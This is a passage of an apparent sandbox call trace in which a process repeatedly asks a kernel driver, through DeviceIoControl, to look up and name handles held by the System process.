Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800235e050, HandleInformation=0x0) returned 0x0 [0119.562] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.562] PsReleaseProcessExitSynchronization () returned 0x2 [0119.562] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.562] ObQueryNameString (in: Object=0xfffffa800235e050, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.562] ObfDereferenceObject (Object=0xfffffa800235e050) returned 0x2 [0119.562] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.562] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.562] PsAcquireProcessExitSynchronization () returned 0x0 [0119.562] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.563] ObReferenceObjectByHandle (in: Handle=0xffffffff80000678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003967f20, HandleInformation=0x0) returned 0x0 [0119.563] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.563] PsReleaseProcessExitSynchronization () returned 0x2 [0119.563] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.563] ObQueryNameString (in: Object=0xfffffa8003967f20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.563] ObfDereferenceObject (Object=0xfffffa8003967f20) returned 0x2 [0119.563] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0119.563] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.563] PsAcquireProcessExitSynchronization () returned 0x0 [0119.563] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.563] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0119.563] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.563] PsReleaseProcessExitSynchronization () returned 0x2 [0119.563] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.563] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.563] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0119.563] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.563] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.563] PsAcquireProcessExitSynchronization () returned 0x0 [0119.563] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.563] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0119.563] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.563] PsReleaseProcessExitSynchronization () returned 0x2 [0119.563] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.563] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.563] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0119.563] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.563] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.564] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.564] PsAcquireProcessExitSynchronization () returned 0x0 [0119.564] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.564] ObReferenceObjectByHandle (in: Handle=0xffffffff80000684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002510bd0, HandleInformation=0x0) returned 0x0 [0119.564] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.564] PsReleaseProcessExitSynchronization () returned 0x2 [0119.564] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.564] ObQueryNameString (in: Object=0xfffffa8002510bd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.564] ObfDereferenceObject (Object=0xfffffa8002510bd0) returned 0x2 [0119.564] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.564] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.564] PsAcquireProcessExitSynchronization () returned 0x0 [0119.564] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.564] ObReferenceObjectByHandle (in: Handle=0xffffffff80000688, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214e050, HandleInformation=0x0) returned 0x0 [0119.564] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.564] PsReleaseProcessExitSynchronization () returned 0x2 [0119.564] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.564] ObQueryNameString (in: Object=0xfffffa800214e050, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.564] ObfDereferenceObject (Object=0xfffffa800214e050) returned 0x2 [0119.564] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.564] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.564] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.564] PsAcquireProcessExitSynchronization () returned 0x0 [0119.564] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.564] ObReferenceObjectByHandle (in: Handle=0xffffffff8000068c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037b03a0, HandleInformation=0x0) returned 0x0 [0119.564] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.564] PsReleaseProcessExitSynchronization () returned 0x2 [0119.564] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.565] ObQueryNameString (in: Object=0xfffffa80037b03a0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.565] ObfDereferenceObject (Object=0xfffffa80037b03a0) returned 0x2 [0119.565] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.565] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.565] PsAcquireProcessExitSynchronization () returned 0x0 [0119.565] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.565] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0119.565] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.565] PsReleaseProcessExitSynchronization () returned 0x2 [0119.565] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.565] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.565] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0119.565] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.565] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.565] PsAcquireProcessExitSynchronization () returned 0x0 [0119.565] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.565] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0119.565] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.565] PsReleaseProcessExitSynchronization () returned 0x2 [0119.565] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.565] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.565] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0119.565] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.565] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.565] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.565] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.566] PsAcquireProcessExitSynchronization () returned 0x0 [0119.566] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.566] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0119.566] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.566] PsReleaseProcessExitSynchronization () returned 0x2 [0119.566] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.566] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.566] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0119.566] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.566] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.566] PsAcquireProcessExitSynchronization () returned 0x0 [0119.566] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.566] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020886e0, HandleInformation=0x0) returned 0x0 [0119.566] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.566] PsReleaseProcessExitSynchronization () returned 0x2 [0119.566] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.566] ObQueryNameString (in: Object=0xfffffa80020886e0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.566] ObfDereferenceObject (Object=0xfffffa80020886e0) returned 0x2 [0119.566] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.566] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.566] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.566] PsAcquireProcessExitSynchronization () returned 0x0 [0119.566] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.566] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0119.566] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.566] PsReleaseProcessExitSynchronization () returned 0x2 [0119.566] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.566] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.566] ObfDereferenceObject (Object=0xfffffa8002277340) returned 0x2 [0119.567] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.567] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.567] PsAcquireProcessExitSynchronization () returned 0x0 [0119.567] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.567] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0119.567] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.567] PsReleaseProcessExitSynchronization () returned 0x2 [0119.567] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.567] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.567] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0119.567] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.567] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.567] PsAcquireProcessExitSynchronization () returned 0x0 [0119.567] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.567] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0119.567] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.567] PsReleaseProcessExitSynchronization () returned 0x2 [0119.567] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.567] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.567] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0119.567] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.567] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.567] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.567] PsAcquireProcessExitSynchronization () returned 0x0 [0119.567] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.567] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fa7830, HandleInformation=0x0) returned 0x0 [0119.568] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.568] PsReleaseProcessExitSynchronization () returned 0x2 [0119.568] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.568] ObQueryNameString (in: Object=0xfffffa8001fa7830, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.568] ObfDereferenceObject (Object=0xfffffa8001fa7830) returned 0x2 [0119.568] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.568] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.568] PsAcquireProcessExitSynchronization () returned 0x0 [0119.568] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.568] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0119.568] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.568] PsReleaseProcessExitSynchronization () returned 0x2 [0119.568] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.568] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.568] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0119.568] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.568] HeapFree (in: hHeap=0x240000, dwFlags=0x0, 